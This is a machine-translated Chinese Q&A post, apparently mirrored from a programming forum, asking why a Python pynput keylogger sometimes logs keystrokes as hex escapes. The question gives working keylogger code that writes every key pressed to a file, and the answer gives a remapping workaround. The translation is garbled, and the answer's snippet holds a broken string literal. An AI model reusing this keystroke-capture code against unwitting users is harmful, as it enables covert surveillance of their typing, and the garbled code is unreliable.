为什么我的钥匙记录仪代码会随机更改字面字符和ASCII六角形之间的输出



我已经为钥匙库编写了一些代码,我遇到了一些奇怪的东西。

每当我执行代码时,我都有50%的机会记录每个char作为十六进制(' x01'(。

和50%将其登录为字面的字符。('a'(

- 应该真的是随机的吗?

虽然我不更改代码。每次我运行它时,字符的输出都可能会改变。

import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
    global keys, count
    keys.append(key)
    count=+1
    print(key)
    if count >= 10:
        count = 0
        write_file(keys)
def on_release(key):
    if key == Key.esc:
        return False
def write_file(keys):
    with open("popa", "a") as wri:
        for key in keys:
            wri.write(str(key))
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

我希望每个炭都以人类友好的形式输出。

不是a = x01

我在将pynput升级到版本1.4.2之后遇到了类似的东西,当ctrl键关闭时,键转换为hex(Mac 10.14.6(。

最佳解决方案是重新安装pynput(版本1.4(。

另一个解决方案是这样恢复十六进制:

from pynput.keyboard import KeyCode
def on_press(key):
    #Revert pynput(1.4.2) hex reattr when ctrl_isDown:
    if type(key) == type(KeyCode()) and '\' in repr(key):
        if ord(key.char) == 31: # 'x1f' -> '-'
            key = KeyCode(char=chr(45))
        elif ord(key.char) in [27, 29]: # '{}' -> '[]'
            key = KeyCode(char=chr(64 + ord(key.char)))
        else:
            key = KeyCode(char=chr(96 + ord(key.char)))
    currently_pressed_keys.add(key)

*请注意,这仅适用于有或不带ctrl的下部键,未对使用altcommand组合进行测试。

最新更新